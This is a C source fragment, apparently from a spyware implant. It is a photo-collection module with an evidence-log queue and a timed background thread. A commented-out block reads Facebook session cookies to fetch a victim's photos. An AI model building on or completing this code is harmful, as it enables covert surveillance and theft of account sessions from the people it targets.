#include #include "cookies.h" #include "globals.h" #include "social.h" #include "utils.h" #include "uthash.h" #include "zmem.h" #include "photo.h" #include "photo_facebook.h" #ifdef _DEBUG #include "debug.h" #endif PHOTO_LOGS lpPhotoLogs[MAX_PHOTO_QUEUE]; /* common defines */ #ifdef _DEBUG #define PHOTO_SLEEP 30 // PhotoMain thread sleep in seconds #else #define PHOTO_SLEEP 10 * 60 // 10 minutes #endif /* log functions */ BOOL QueuePhotoLog(__in LPBYTE lpEvBuff, __in DWORD dwEvSize) { if (!lpEvBuff || !dwEvSize) return FALSE; for (DWORD i=0; i < MAX_PHOTO_QUEUE; i++) { if (lpPhotoLogs[i].dwSize == 0 || lpPhotoLogs[i].lpBuffer == NULL) { lpPhotoLogs[i].dwSize = dwEvSize; lpPhotoLogs[i].lpBuffer = lpEvBuff; return TRUE; } } return FALSE; } /* photo module main function */ // will be used when filsystem photos will be implemented, Facebook photos are run from social.cpp VOID PhotoMain() { while(1) { if (bPhotoThread == FALSE) { #ifdef _DEBUG OutputDebug(L"[*] PhotoMain exiting\n"); #endif hPhotoThread = NULL; return; } if (bCollectEvidences) { /*LPSTR strFacebookCookies = GetCookieString(FACEBOOK_DOMAIN); if (strFacebookCookies) { FacebookPhotoHandler(strFacebookCookies); zfree_s(strFacebookCookies); }*/ } MySleep(PHOTO_SLEEP); } } .